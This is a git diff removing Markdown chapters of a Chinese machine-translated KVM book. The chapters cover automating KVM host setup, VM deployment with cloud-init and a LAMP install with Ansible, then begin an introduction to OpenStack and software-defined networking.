-当我们谈到状态时,我们谈到了一个概念,这个概念一开始有点令人困惑,但一旦我们开始使用它,它就会变得非常有用。 当调用这样的命令时,我们声明的是所需的状态,因此如果状态不是我们要求的状态,系统本身就会改变。 这意味着,在本例中,我们实际上并没有测试是否安装了`lighttpd`--我们告诉 Ansible 检查它,如果没有安装来安装它。 甚至这也不是完全正确的-该模块有两个参数:服务的名称和它应该处于的状态。 如果我们正在检查的系统上的状态与调用模块时发送的状态相同,我们将得到`changed: false`,因为没有任何更改。 但如果系统的状态不同,Ansible 将使系统的当前状态与我们请求的状态相同。 - -为了证明这一点,我们将查看服务是*没有安装*,还是没有安装*。 请记住,如果安装了该服务,则会将其卸载。 键入以下命令:* - -```sh -ansible all -m yum -a "name=lighttpd state=absent" -``` - -这是您在运行前面的命令后应该得到的结果: - -![Figure 11.20 – Using Ansible to check the state of a service ](img/B14834_11_20.jpg) - -图 11.20-使用 Ansible 检查服务的状态 - -然后,我们可以说我们希望它出现在系统上。 Ansible 将根据需要安装服务: - -![Figure 11.21 – Using the yum install command on all Ansible targets ](img/B14834_11_21.jpg) - -图 11.21-在所有可选目标上使用 yum install 命令 - -在这里,我们可以看到 Ansible 只是检查并安装了服务,因为它不在那里。 它还向我们提供了其他有用的信息,例如对系统进行了哪些更改,以及它执行的命令的输出。 信息是以变量数组的形式提供的;这通常意味着我们必须进行一些字符串操作才能使其看起来更美观。 - -现在,让我们再次运行该命令: - -```sh -ansible all -m yum -a "name=lighttpd state=absent" -``` - -这应该是结果: - -![Figure 11.22 – Using Ansible to check the service state after service installation ](img/B14834_11_22.jpg) - -图 11.22-服务安装后使用 Ansible 检查服务状态 - -正如我们所看到的,自从安装了该服务以来,这里没有任何更改。 - -这些都是的开始示例,因此我们可以稍微了解一下 Ansible。 现在,让我们在此基础上进行扩展,并创建一个 Ansible 攻略,它将在我们预定义的一组主机上安装 KVM。 - -## 安装 KVM - -现在,让我们创建我们的第一本剧本,并使用它在所有主机上安装 KVM。 在我们的攻略中,我们使用了由 Jared Blomer 创建的 GitHub 存储库中的一个很好的示例,因为我们已经配置了选项和库存,所以进行了一些更改。 原始文件位于[https://github.com/jbloomer/Ansible---Install-KVM-on-CentOS-7.git](https://github.com/jbloomer/Ansible---Install-KVM-on-CentOS-7.git)。 - -本攻略将展示我们需要了解的有关自动化简单任务的所有内容。 我们之所以选择这个特定的例子,是因为它不仅展示了自动化是如何工作的,而且还展示了如何创建单独的任务并在不同的剧本中重用它们。 使用公共存储库还有一个额外的好处,即您将始终获得最新版本,但它可能与此处提供的版本有很大不同: - -1. First, we created our main playbook – the one that will get called – and named it `installkvm.yaml`: - - ![Figure 11.23 – The main Ansible playbook, which checks for virtualization support and installs KVM ](img/B14834_11_23.jpg) - - 图 11.23-主要的 Ansible 攻略,检查虚拟化支持并安装 KVM - - 正如我们所看到的,这是一个简单的声明,所以让我们逐行分析它。 首先,我们有剧本名称,它是一个字符串,可以包含我们想要的任何内容: - - 变量`hosts`定义将在清单的哪个部分上执行此剧本-在我们的示例中,是所有主机。 我们可以在运行时覆盖这一点(以及所有其他变量),但它有助于将剧本限制为我们需要控制的主机。 在我们的特定情况下,这实际上是我们库存中的所有主机,但在生产中,我们可能会有不止一组主机。 - - 下一个变量是要执行任务的用户名。 我们不建议在生产中执行此处的操作,因为我们使用超级用户帐户来执行任务。 Ansible 完全有能力使用非特权帐户,并在需要时提升权限,但就像在所有演示中一样,我们会犯错误,这样您就不必犯错误了,这一切都是为了让事情更容易理解。 - - 现在,真正执行我们任务的部分来了。 在 Ansible 中,我们为系统声明角色。 在我们的示例中,它们有两个。 角色实际上只是要执行的任务,这将导致系统处于特定状态。 在我们的第一个角色中,我们将检查系统是否支持虚拟化,然后在第二个角色中,我们将在所有支持虚拟化的系统上安装 KVM 服务。 - -2. When we downloaded the script from the GitHub, it created a few folders. In the one named `roles`, there are two subfolders that each contain a file; one is called `checkVirtualization` and the other is called `installKVM`. - - 你可能已经看到事情的发展方向了。 首先,让我们看看`checkVirtualization`包含哪些内容: - - ![Figure 11.24 – Checking for CPU virtualization via the lscpu command ](img/B14834_11_24.jpg) - - 图 11.24-通过 lscpu 命令检查 CPU 虚拟化 - - 该任务只调用一个 shell 命令,并尝试对包含 CPU 虚拟化参数的行执行`grep`。 如果没有找到,则失败。 - -3. Now, let's see the other task: - - ![Figure 11.25 – Ansible task for installing the necessary libvirt packages ](img/B14834_11_25.jpg) - - 图 11.25-安装必要的 libvirt 软件包的可行任务 - - 第一部分是一个简单的循环,如果五个不同的包不存在,它将只安装它们。 我们在这里使用的是 Package 模块,这是一种与我们在第一次演示中使用的有关如何安装软件包的方法不同的方法。 我们在本章前面使用的模块称为`yum`,特定于作为发行版的 CentOS。 `package`模块是一个通用模块,它将转换为特定发行版使用的任何包管理器。 一旦我们安装了所需的所有软件包,我们需要确保`libvirtd`已启用并启动。 - - 我们使用一个简单的循环来检查我们正在安装的所有包。 这不是必需的,但这比复制和粘贴单个命令更好,因为它使我们需要的包列表更具可读性。 - - 然后,作为任务的最后一部分,我们验证 KVM 是否已加载。 - - 正如我们所看到的,攻略的语法很简单。 它很容易阅读,即使是对脚本或编程略知一二的人也是如此。 我们甚至可以说,对 Linux 命令行的工作方式有一个确切的理解更为重要。 - -4. In order to run a playbook, we use the `ansible-playbook` command, followed by the name of the playbook. In our case, we're going to use the `ansible-playbook main.yaml` command. Here are the results: - - ![Figure 11.26 – Interactive Ansible playbook monitoring ](img/B14834_11_26.jpg) - - 图 11.26-交互式 Ansible 攻略监控 - -5. Here, we can see that Ansible breaks down everything it did on every host, change by change. The end result is a success: - - ![Figure 11.27 – Ansible playbook report ](img/B14834_11_27.jpg) - - 图 11.27-Ansible 攻略报告 - - 现在,让我们检查一下新安装的 KVM*集群*是否正常工作。 - -6. 我们将启动`virsh`并列出个群集所有部分上的活动虚拟机: - -![Figure 11.28 – Using Ansible to check all the virtual machines on Ansible targets ](img/B14834_11_28.jpg) - -图 11.28-使用 Ansible 检查 Ansible 目标上的所有虚拟机 - -完成这个简单的练习之后,我们已经在四台机器上运行了 KVM,并且能够从一个位置控制它们。 但是我们仍然没有在主机上运行虚拟机。 接下来,我们将向您展示如何在 KVM 环境中创建 CentOS 安装,但我们将使用最基本的方法-`virsh`。 - -我们将做两件事:首先,我们将从互联网上下载 CentOS 的最小 ISO 映像。 然后,我们将调用`virsh`。 本书将向您展示完成此任务的不同方法;从互联网下载是最慢的方法之一: - -1. As always, Ansible has a module dedicated to downloading files. The parameters it expects are the URL where the file is located and the location of the saved file: - - ![Figure 11.29 – Downloading files in Ansible playbooks ](img/B14834_11_29.jpg) - - 图 11.29-下载 Ansible 攻略中的文件 - -2. After running the playbook, we need to check if the files have been downloaded: - - ![Figure 11.30 – Status check – checking if the files have been downloaded to our targets ](img/B14834_11_30.jpg) - - 图 11.30-S 状态检查-检查文件是否已下载到我们的目标 - -3. 由于我们不会自动执行此操作,而是创建单个任务,因此我们将在本地 shell 中运行它。 为此运行的命令应该是类似以下内容的: - - ```sh - ansible all -m shell -a "virt-install --name=COS7Core --ram=2048 --vcpus=4 --cdrom=/var/lib/libvirt/boot/CentOS-7-x86_64-Minimal-1810.iso --os-type=linux --os-variant=rhel7 --disk path=/var/lib/libviimg/cos7vm.dsk,size=6" - ``` - -4. Without a kickstart file or some other kind of preconfiguration, this VM makes no sense since we will not be able to connect to it or even finish the installation. In the next task, we will remedy that using cloud-init. - - 现在,我们可以检查是否一切正常: - -![Figure 11.31 – Using Ansible to check if all our VMs are running ](img/B14834_11_31.jpg) - -图 11.31-使用 Ansible 检查我们的所有虚拟机是否都在运行 - -在这里,我们可以看到所有 KVM 都在运行,并且每个 KVM 都有自己的台虚拟机在线并在运行。 - -现在,我们将清除 KVM 集群并重新开始,但这一次使用不同的配置:我们将部署 CentOS 的云版本,并使用 cloud-init 重新配置它。 - -## 使用 Ansible 和 cloud-init 实现自动化和编排 - -**cloud-init**是私有云和混合云环境中较为流行的机器部署方式中的之一。 这是因为它使机器能够快速重新配置,使其功能恰到好处地连接到编排环境(如 Ansible)。 - -更多详细信息可以在[cloud-init.io](http://cloud-init.io)上找到,但简而言之,cloud-init 是一个支持创建特殊文件的工具,这些文件可以与 VM 模板组合在一起,以便快速部署它们。 Cloud-init 和无人值守安装脚本之间的主要区别在于,cloud-init 或多或少与分布无关,并且更容易使用脚本工具进行更改。 这意味着部署期间的工作量更少,从开始部署到机器联机并正常工作所需的时间也更短。 在 CentOS 上,这可以通过 kickstart 文件来实现,但这远不如 cloud-init 灵活。 - -Cloud-init 使用两个独立的部分工作:一个是我们正在部署的操作系统的分发文件。 这不是通常的操作系统安装文件,而是一个专门配置的机器模板,旨在用作云初始化映像。 - -系统的另一部分是配置文件,它是从包含机器配置的特殊 YAML 文本文件中*编译*-或者更准确地说,是*打包*的。 此配置体积小,非常适合网络传输。 - -这两个部分旨在作为整体使用,以创建相同虚拟机的多个实例。 - -的工作方式很简单: - -1. 首先,我们分发一个与我们要创建的所有机器完全相同的机器模板。 这意味着拥有一个主副本并从中创建所有实例。 -2. 然后,我们将模板与使用 cloud-init 创建的巧尽心思构建的文件配对。 我们的模板,不管它使用的是什么操作系统,都能够理解我们可以在 cloud-init 文件中设置的不同指令,并且将被重新配置。 这可以根据需要重复执行。 - -让我们进一步简化这一过程:如果我们需要使用无人参与安装文件创建 100 个具有四个不同角色的服务器,我们将不得不引导 100 个映像,并等待它们逐个完成所有安装步骤。 然后,我们需要为我们需要的任务重新配置它们。 使用 cloud-init,我们在 100 个实例中引导一个映像,但是系统只需要几秒钟就能引导,因为它已经安装好了。 只需要关键信息就可以将它放到网上,之后我们就可以接管它,并使用 Ansible 对其进行完全配置。 - -我们不会过多地讨论 cloud-init 的配置;我们需要的一切都在这个示例中: - -![Figure 11.32 – Using cloud-init for additional configuration ](img/B14834_11_32.jpg) - -图 11.32-使用 cloud-init 进行附加配置 - -像往常一样,我们将一步一步地解释正在发生的事情。 我们从一开始就可以看到,它使用直接的 YAML 表示法,与 Ansible 相同。 这里的第一条指令是为了确保我们的机器得到更新,因为它支持自动更新云实例上的包。 - -然后,我们正在配置用户。 我们将创建一个名为`ansible`的用户,该用户将属于组`wheel`。 - -`Lock_passwd`表示我们将允许使用密码登录。 如果未配置任何内容,则默认设置为仅允许使用`SSH`键登录,并完全禁用密码登录。 - -然后,我们获得散列格式的密码。 根据的分布情况,可以用不同的方式创建此散列。 *不要*在这里放明文密码。 - -然后,我们就有了一个 shell,如果需要向`/etc/sudoers`文件添加一些内容,该用户将能够使用它。 在这种情况下,我们赋予该用户对系统的完全控制权。 - -最后一件事可能是最重要的。 这是我们系统上的公钥`SSH`。 它用于在用户登录时对其进行授权。 这里可以有多个密钥,它们将以`SSHD`配置结束,以使用户能够执行无密码登录。 - -我们可以在这里使用更多的变量和指令,因此请参考`cloud-config`文档了解更多信息。 - -创建此文件后,需要将其转换为将用于安装的`.iso`文件。 执行此操作的命令是`cloud-localds`。 我们使用 YAML 文件作为一个参数,使用`.iso`文件作为另一个参数。 - -运行`cloud-localds config.iso config.yaml`之后,我们就可以开始部署了。 - -下一个我们需要的是 CentOS 的云映像。 正如我们前面提到的,这是一个专门用于此特定目的的特殊图像。 - -我们将从[https://cloud.centos.org/centos/7/images](https://cloud.centos.org/centos/7/images)获得它。 - -这里有相当多的文件,表示 CentOS 镜像的所有可用版本。 如果您需要特定版本,请注意表示映像发布的月份/年份的数字。 另外,请注意图像有两种风格-压缩的和未压缩的。 - -镜像采用`qcow2`格式,打算在云中作为磁盘使用。 - -在我们的示例中,在 Ansible 机器上,我们创建了一个名为`/clouddeploy`的新目录,并将两个文件保存到其中:一个包含操作系统云映像,另一个是使用`cloud-init`创建的`config.iso`: - -![Figure 11.33 – Checking the content of a directory ](img/B14834_11_33.jpg) - -图 11.33-检查目录内容 - -现在剩下的就是创建一个剧本来部署它们。 让我们来看看这些步骤: - -1. First, we are going to copy the cloud image and our configuration onto our KVM hosts. After that, we are going to create a machine out of these and start it: - - ![Figure 11.34 – The playbook that will download the required image, configure cloud-init, and start the VM deployment process ](img/B14834_11_34.jpg) - - 图 11.34-下载所需映像、配置 cloud-init 并启动 VM 部署流程的实战手册 - - 由于这是我们的第一个*复杂*攻略,我们需要解释几件事。 在每个游戏或任务中,都有一些重要的事情。 名称用于简化运行剧本;这是剧本运行时将显示的内容。 这个名称应该有足够的说明性,但不能太长,以免混乱。 - - 在名称之后,我们有每个任务的业务部分-被调用的模块的名称。 在我们的示例中,我们使用了三个不同的参数:`copy`、`command`和`virt`。 `copy`用于在主机之间复制文件,`command`在远程机器上执行命令,`virt`包含控制虚拟环境所需的命令和状态。 - - 您在阅读本文时会注意到,`copy`看起来很奇怪;`src`表示本地目录,而`dest`表示远程目录。 这是设计好的。 为了简化操作,`copy`在本地机器(运行 Ansible 的控制节点)和远程机器(正在配置的机器)之间工作。 如果目录不存在,则会创建这些目录,并且`copy`将应用适当的权限。 - - 在此之后,我们将运行一个命令,该命令将在本地文件上工作并创建一个虚拟机。 这里重要的一点是,我们基本上是在运行我们复制的映像;模板位于控制节点上。 同时,这节省了磁盘空间和部署时间--无需将机器从本地磁盘复制到远程磁盘,然后在远程机器上再次复制;只要映像在那里,我们就可以运行它。 - - 回到的重要部分-本地安装。 我们正在使用刚刚复制的磁盘镜像创建一台具有 1 GB RAM 和一个 CPU 的机器。 我们还将`config.iso`文件作为虚拟 CD/DVD 附加。 然后,我们将导入此图像,并且不使用图形终端。 - -2. The last task is starting the VM on the remote KVM host. We will use the following command to do so: - - ```sh - ansible-playbook installvms.yaml - ``` - - 如果一切正常,我们应该看到如下所示: - -![Figure 11.35 – Checking our installation process ](img/B14834_11_35.jpg) - -图 11.35-检查我们的安装过程 - -我们还可以使用命令行检查这一点: - -```sh -ansible cloudhosts -m shell -a "virsh list –all" -``` - -此命令的输出应如下所示: - -![Figure 11.36 – Checking our VMs ](img/B14834_11_36.jpg) - -图 11.36-检查我们的虚拟机 - -让我们再检查两件事-网络和机器状态。 键入以下命令: - -```sh -ansible cloudhosts -m shell -a "virsh net-dhcp-leases –-network default" -``` - -我们应该得到这样的: - -![Figure 11.37 – Checking our VM network connectivity and network configuration ](img/B14834_11_37.jpg) - -图 11.37-检查我们的虚拟机网络连接和网络配置 - -这将验证我们的机器是否正常运行,以及它们是否连接到本地 KVM 实例上的本地网络。 在本书的其他部分,我们将更详细地介绍 KVM 网络,因此,通过桥接 KVM 上的适配器或创建跨主机的单独虚拟网络,重新配置计算机以使用公共网络应该很容易。 - -我们想要显示的另一件事是所有主机的机器状态。 关键是,我们这次不使用 shell 模块;相反,我们依赖`virt`模块向我们展示如何从命令行使用它。 这里只有一个细微的区别。 当我们调用 shell(或`command`)模块时,我们调用的是将要调用的参数。 这些模块基本上只是在远程机器上生成另一个进程,并使用我们提供的参数运行它。 - -相反,`virt`模块将变量声明作为其参数,因为我们使用`command=info`运行`virt`。 在使用 Ansible 时,您会注意到,有时变量只是状态。 如果我们想要启动一个特定的实例,我们只需添加`state=running`以及一个适当的名称,Ansible 就会确保 VM 正在运行。 让我们键入以下命令: - -```sh -ansible cloudhosts -m virt -a "command=info" -``` - -以下是预期输出: - -![Figure 11.38 – Using the virt module with Ansible ](img/B14834_11_38.jpg) - -图 11.38-将 virt 模块与 Ansible 配合使用 - -只有一件事我们还没有介绍--如何安装多层应用。 将定义推向最小的极限,我们将使用一个简单的剧本来安装 LAMP 服务器。 - -# 编排 KVM VM 上的多层应用部署 - -现在,让我们学习如何安装多层应用。 将定义推向最小的极端,我们将使用一个简单的 Ansible 剧本来安装 LAMP 服务器。 - -需要完成的任务非常简单-我们需要安装 Apache、MySQL 和 PHP。 LAMP 的*L*部分已经安装,因此我们不会再次介绍。 - -困难的部分是包名:在我们的演示机器中,我们使用 CentOS7 作为操作系统,它的包名略有不同。 Apache 称为`httpd`,`mysql`替换为`mariaDB`,这是另一个与 MySQL 兼容的引擎。 幸运的是,PHP 与其他发行版相同。 我们还需要另一个名为`python2-PyMySQL`的包(该名称区分大小写)才能使我们的攻略正常工作。 - -接下来我们要做的是通过启动所有服务并创建尽可能简单的`.php`脚本来测试安装。 之后,我们将创建一个数据库和一个要使用它的用户。 作为警告,在这一章中,我们将重点放在安可普的基础知识上,因为安可普太复杂了,不可能在一本书的一个章节中涵盖。 此外,我们假设了很多事情,我们最大的假设是,我们正在创建的演示系统无论如何都不是用于生产的。 本攻略特别缺少一个重要步骤:创建根密码。 请勿在未设置 SQL 密码的情况下进入生产环境。 - -还有一件事:我们的脚本假定在运行剧本的目录中有一个名为`index.php`的文件,该文件将被复制到远程系统: - -![Figure 11.39 – Ansible LAMP playbook ](img/B14834_11_39.jpg) - -图 11.39-Ansible LAMP 手册 - -正如我们所看到的,没有什么复杂的事情发生,只是一系列简单的步骤。 我们的`.php`文件如下所示: - -![Figure 11.40 – Testing if PHP works ](img/B14834_11_40.jpg) - -图 11.40-测试 PHP 是否正常工作 - -事情不可能比这更简单了。 在正常的部署场景中,我们在 Web 服务器目录中会有一些更复杂的东西,比如 WordPress 或 Joomla 安装,甚至是自定义应用。 唯一需要更改的是复制的文件(或一组文件)和数据库的位置。 我们的文件只打印有关本地`.php`安装的信息: - -![Figure 11.41 – Checking if PHP works on Apache using a web browser and a previously configured PHP file ](img/B14834_11_41.jpg) - -图 11.41-使用 Web 浏览器和先前配置的 PHP 文件检查 PHP 是否可以在 Apache 上运行 - -Ansible 的比我们在本章中向您展示的复杂得多,所以我们强烈建议您做一些进一步的阅读和学习。 我们在这里所做的只是一个最简单的示例,说明如何在多台主机上安装 KVM 并使用命令行一次控制所有主机。 Ansible 做得最好的是节省我们的时间-想象一下,有几百个虚拟机管理器,而不得不部署数千台服务器。 使用攻略和几个预配置的映像,我们不仅可以配置 KVM 来运行我们的机器,还可以重新配置机器本身上的任何东西。 唯一真正的先决条件是一台正在运行的 SSH 服务器和一份清单,这将使我们能够对计算机进行分组。 - -# 通过示例学习-在 KVM 中使用 Ansible 的各种示例 - -既然我们已经介绍了简单和复杂的 Ansible 任务,让我们考虑一下如何使用 Ansible 来提高我们的配置技能和基于某种策略的总体遵从性。 以下是我们将留给您作为练习的一些内容: - -* Task 1: - - 我们为每台 KVM 主机配置并运行了一台计算机。 创建一本将形成一对主机的攻略-一台主机运行网站,另一台运行数据库。 为此,您可以使用任何开源 CMS。 - -* Task 2: - - 使用 Ansible 和`virt-net`模块重新配置网络,以便整个群集可以通信。 KVM 接受用于联网的`.xml`配置,并且`virt-net`可以读写 XML。 提示:如果您感到困惑,请使用单独的 RHEL8 机器在 GUI 中创建虚拟网络,然后使用`virsh net-dumpxml`语法将虚拟网络配置输出到标准输出,然后将其用作模板。 - -* Task 3: - - 使用`ansible`和`virsh`自动启动您在主机上创建/导入的特定虚拟机。 - -* Task 4: - - 根据我们的 LAMP 部署手册,通过执行以下操作对其进行改进: - - A)创建将在远程计算机上运行的攻略。 - - B)创建将在不同服务器上安装不同角色的攻略。 - - C)创建将部署更复杂应用(如 WordPress)的剧本。 - -如果您成功地解决了这五项任务,那么恭喜您-*您正在*成为一名可以使用自动化的管理员,大写字母是*A*。 - -# 摘要 - -在本章中,我们讨论了 Ansible-一个用于编排和自动化的简单工具。 它既可以在开源环境中使用,也可以在基于 Microsoft 的环境中使用,因为它本机支持这两种环境。 开源系统可以通过 SSH 密钥访问,而 Microsoft 操作系统可以使用 WinRM 和 PowerShell 访问。 我们了解了很多关于简单的 Ansible 任务和更复杂的任务,因为部署托管在多个虚拟机上的多层应用不是一件容易的任务-特别是如果您手动解决问题的话。 即使在多台主机上部署 KVM 虚拟机管理器也需要相当长的时间,但我们通过一本简单的 Ansible 攻略设法解决了这一问题。 请注意,我们只需要大约 20 行配置行就可以做到这一点,其结果是我们可以轻松地添加数百台主机作为本 Ansible 攻略的目标。 - -下一章将带我们进入云服务的世界--特别是 OpenStack--在那里,我们的 Ansible 知识将对大规模虚拟机配置非常有用,因为使用任何类型的手动实用程序都不可能配置我们所有的云虚拟机。 除此之外,我们还将通过集成 OpenStack 和 Ansible 来扩展我们对 Ansible 的了解,这样我们就可以使用这两个平台来做他们真正擅长的事情--管理云环境和配置他们的消耗品。 - -# 问题 - -1. 什么是 Ansible? -2. 一本安可普剧本能做什么? -3. Ansible 使用哪种通信协议来连接其目标? -4. AWX 是什么? -5. 什么是 Ansible Tower? - -# 进一步阅读 - -有关本章内容的更多信息,请参阅以下链接: - -* 什么是可分析的?:[https://www.ansible.com/](https://www.ansible.com/) -* 可选文档:[HTTPS://docs.ansible.com/](https://docs.ansible.com/) -* 可能的概述:[https://www.ansible.com/overview/it-automation](https://www.ansible.com/overview/it-automation) -* 合理的使用情形:[https://www.ansible.com/use-cases](https://www.ansible.com/use-cases) -* 可连续交付:[https://www.ansible.com/use-cases/continuous-delivery](https://www.ansible.com/use-cases/continuous-delivery) -* 将 Ansible 与 Jenkins 集成:[https://www.redhat.com/en/blog/integrating-ansible-jenkins-cicd-process](https://www.redhat.com/en/blog/integrating-ansible-jenkins-cicd-process)***** \ No newline at end of file diff --git a/docs/master-kvm-virtual/12.md b/docs/master-kvm-virtual/12.md deleted file mode 100644 index 344cecd1..00000000 --- a/docs/master-kvm-virtual/12.md +++ /dev/null @@ -1,749 +0,0 @@ -# 十二、使用 OpenStack 横向扩展 KVM - -能够虚拟化一台机器是一件很重要的事情,但有时仅仅虚拟化是不够的。 问题是如何为个人用户提供工具,以便他们可以在需要的时候虚拟化任何他们需要的东西。 如果我们将这种以用户为中心的方法与虚拟化相结合,我们最终将得到一个需要能够做两件事的系统:它应该能够作为虚拟化机制连接到 KVM(而不仅仅是 KVM),并使用户能够在可通过 Web 浏览器访问的自我配置环境中运行和自动配置其虚拟机。 OpenStack 又增加了一件事,因为它完全免费且完全基于开放源码技术。 由于系统的复杂性,配置这样的系统是一个很大的问题,在本章中,我们将向您展示-或者更准确地说,为您指明正确的方向-关于您是否需要这样的系统。 - -在本章中,我们将介绍以下主题: - -* OpenStack 简介 -* 软件定义的网络 -* OpenStack 组件 -* 其他 OpenStack 使用案例 -* 调配 OpenStack 环境 -* 将 OpenStack 与 Sensitive 集成 -* 我们开始吧! - -# OpenStack 简介 - -简而言之,**OpenStack**是一个云操作系统,用于控制大量不同的资源,以便为**基础设施即服务**(**IaaS**)和**编排**提供所有基本服务。 - -但这意味着什么呢? OpenStack 旨在完全控制数据中心中的所有资源,并对可用于部署其自身和第三方服务的任何内容提供集中管理和直接控制。 基本上,对于我们在本书中提到的每一项服务,在整个 OpenStack 环境中都有一个可以或可以使用该服务的位置。 - -OpenStack 本身由几个不同的互连服务或服务部分组成,每个服务或服务部分都有自己的一组功能,并且每个服务都有自己的 API 来实现对服务的完全控制。 在这本书的这一部分,我们将尝试解释 OpenStack 的不同部分做什么,它们如何互连,它们提供什么服务,以及如何利用这些服务来发挥我们的优势。 - -OpenStack 之所以存在,是因为需要一个开源云计算平台,能够创建独立于任何商业云平台的公共云和私有云。 OpenStack 的所有部分都是开源的,并且是在 Apache License 2.0 下发布的。 该软件是由一大群个人和大型云提供商创建的。 有趣的是,第一次重大发布是 NASA(美国政府机构)和 Rackspace Technology(一家美国大型托管公司)加入他们的内部存储和计算基础设施解决方案的结果。 这些版本后来被命名为 Nova 和 Swift,我们稍后将更详细地介绍它们。 - -关于 OpenStack,您首先会注意到它的服务,因为没有单个*OpenStack*服务,而是一个实际的服务堆栈。 名称*OpenStack*直接来自于这个概念,因为它正确地将 OpenStack 标识为作为服务的开放源码组件,而这些服务又被分组为功能集。 - -一旦我们理解了自主服务,我们还需要理解 OpenStack 中的服务是按其功能分组的,并且某些功能下有多个专门的服务。 我们将在本章中尽可能多地介绍不同的服务,但是这些服务实在太多了,以至于无法在这里一一列举。 所有文档和所有白皮书都可以在[http://openstack.org](http://openstack.org)中找到,我们强烈建议您查阅此处未提及的内容,甚至是我们提到但在阅读本文时可能已经更改的内容。 - -我们需要澄清的最后一件事是命名-OpenStack 中的每个服务都有其项目名称,并且在文档中使用该名称来引用。 乍一看,这可能会让人感到困惑,因为有些名称与特定服务在整个项目中拥有的特定功能完全无关,但一旦开始使用 OpenStack,使用名称而不是正式的函数指示符要容易得多。 以 SWIFT 为例。 SWIFT 的全称是*OpenStack Object Store*,但文档或其实现中很少提到这一点。 OpenStack 下的其他服务或*项目*也是如此,比如 Nova、Ironic、Neighon、Keystone 和其他 20 多种不同的服务。 - -如果你暂时离开 OpenStack,那么你需要考虑云服务到底是什么。 无论在计算资源、存储、网络、API 等方面,云都是可扩展的。 但是,一如既往地,当你给东西做规模时,你会遇到问题。 和这些问题有它们自己的*名称*和*解*。 那么,让我们来讨论一下这些问题。 - -云提供商可扩展性的基本问题可以分为三组需要规模化解决的问题: - -* **计算问题**(计算=CPU+内存能力):这些问题很容易解决-如果您需要更多的 CPU 和内存能力,您就会购买更多的服务器,这在设计上意味着更多的 CPU 和内存。 如果您需要服务质量/**服务级别协议**(**SLA**)类型的概念,我们可以引入概念,例如计算资源池,这样我们就可以根据需要分割计算*饼*,并在我们的客户之间分配这些资源。 无论我们的客户是个人还是购买云服务的公司,这都无关紧要。 在云技术中,我们称我们的客户为*租户*。 -* **存储问题**:当您扩展云环境时,在存储容量、管理、监控以及(尤其是)性能方面会变得非常混乱。 问题性能方面有几个最常用的变量-读写吞吐量和读写 IOPS。 当您的环境从 100 台主机增加到 1000 台或更多时,性能瓶颈将成为一个主要问题,如果没有正确的概念,将很难解决这个问题。 因此,可以通过添加额外的存储设备和容量来解决存储问题,但它比计算问题复杂得多,因为它需要更多的配置和资金。 请记住,每个虚拟机都会对其他虚拟机的性能产生统计影响,您拥有的台虚拟机越多,这种熵就越大。 这是存储基础架构中最难管理的流程。 -* **网络问题**:随着云基础设施的发展,您需要成千上万的隔离网络,以便 Tenant`A`的网络流量无法与 Tenant`B`的网络流量通信。 同时,您仍然需要提供这样一种功能,即您可以为每个租户提供多个网络(通常通过非云基础设施中的 VLAN 实现),并在这些网络之间进行路由(如果租户需要的话)。 - -此网络问题是基于技术的可扩展性问题,因为 VLAN 背后的技术在 VLAN 数量可能成为可扩展性问题之前多年就已标准化。 - -让我们继续我们的 OpenStack 之旅,解释云环境的最基本主题,即通过**软件定义的网络**(**SDN**)扩展云网络。 原因非常简单--如果没有 SDN 概念,云就不会真正具有足够的可伸缩性,让客户满意,而这将是一个完全的卖点。 所以,系好安全带,让我们来做一次 SDN 入门。 - -# 软件定义的网络 - -关于云的一个直截了当的故事--至少从表面上看--应该是关于云网络的故事。 为了理解这个故事应该有多简单,我们只需要看一个数字,这个数字就是**虚拟 LAN**(**VLANID**)。 您可能已经知道,通过使用 VLAN,网络管理员有机会将物理网络划分为独立的逻辑网络。 请记住,以太网报头的 VLAN 部分最多可以有 12 位,这些逻辑隔离网络的最大数量为 4,096 个。 通常,第一个和最后一个 VLAN 是保留的(0 和 4095),就像`VLAN 1`一样。 - -因此,基本上,我们在现实生活场景中只剩下 4093 个独立的逻辑网络,这可能足以满足任何给定公司的内部基础设施。 然而,对于公共云提供商来说,这远远不够。 同样的问题也适用于使用混合云类型服务的公共云提供商,例如,将其计算能力扩展到云。 - -那么,让我们先来关注一下这个网络问题。 现实地说,如果我们从云用户的角度来看这个问题,数据隐私对我们来说是最重要的。 如果我们从云提供商的角度来看待这个问题,那么我们希望我们的网络隔离问题对我们的租户来说不是问题。 这就是云服务在更基本的层面上的意义--无论技术的背景复杂性如何,用户都必须能够以尽可能友好的方式访问所有必要的服务。 让我们用一个例子来解释这一点。 - -如果我们的公共云环境中有 5,000 个不同的客户端(租户),会发生什么情况? 如果每个租户都需要五个或更多逻辑网络,会发生什么情况? 我们很快意识到我们遇到了一个大问题,因为云环境需要隔离、隔离和隔离。 出于安全和隐私原因,它们需要在网络级别相互隔离。 但是,如果租户需要这种服务,它们也需要可路由。 最重要的是,我们需要扩展能力,这样我们需要 5000 或 50,000 个以上隔离网络的情况才不会困扰我们。 回到我们之前的观点--大约 4000 个 VLAN 并不能解决问题。 - -我们说这应该是一个直截了当的故事是有原因的。 我们当中的工程师黑白分明地看到了这些情况--我们专注于一个问题,并试图找到解决方案。 而且解决方案似乎相当简单-我们需要扩展 12 位 VLAN ID 字段,以便拥有更多可用逻辑网络。 这能有多难呢? - -事实证明,这非常困难。 如果说历史告诉我们什么的话,那就是各种不同的利益、公司和技术为争夺 IT 技术领域任何领域的*领头羊*地位而竞争多年。 只要想想 DVD+R、DVD-R、DVD+RW、DVD-RW、DVD-RAM 等昔日的美好时光就知道了。 简而言之,在引入云网络的初始标准时,同样的事情也发生在这里。 我们通常将这些网络技术称为云覆盖网络技术。 这些技术是 SDN 的基础,SDN 是描述云网络在全球集中管理级别的工作方式的原则。 市场上有多种标准可以解决此问题-VXLAN、GRE、STT、NVGRE、NVO3 等。 - -实事求是地说,没有必要把它们一一分解。 我们将采取一条更简单的路线--我们将描述其中一个在今天的上下文中对我们最有价值的(**VXLAN**),然后继续讨论被认为是明天的*统一*标准(**Geneve**)。 - -首先,让我们定义一下覆盖网络是什么。 当我们谈论覆盖网络时,我们谈论的是建立在同一基础设施中的另一个网络之上的网络。 重叠网络背后的想法很简单-我们需要将网络的物理部分与网络的逻辑部分分开。 如果我们想要绝对地做到这一点(配置所有内容,而不需要花费大量时间在 CLI 中配置物理交换机、路由器等),我们也可以做到这一点。 如果我们不想这样做,并且仍然希望直接使用我们的物理网络环境,那么我们需要在整个方案中增加一层可编程性。 然后,如果我们愿意,我们可以与我们的物理设备交互,并将网络配置推送给它们,以实现更自上而下的方法。 如果我们这样做,我们将需要我们的硬件设备在功能和兼容性方面提供更多的支持。 - -现在我们已经描述了什么是网络覆盖,让我们来谈谈 VXLAN,它是最重要的覆盖网络标准之一。 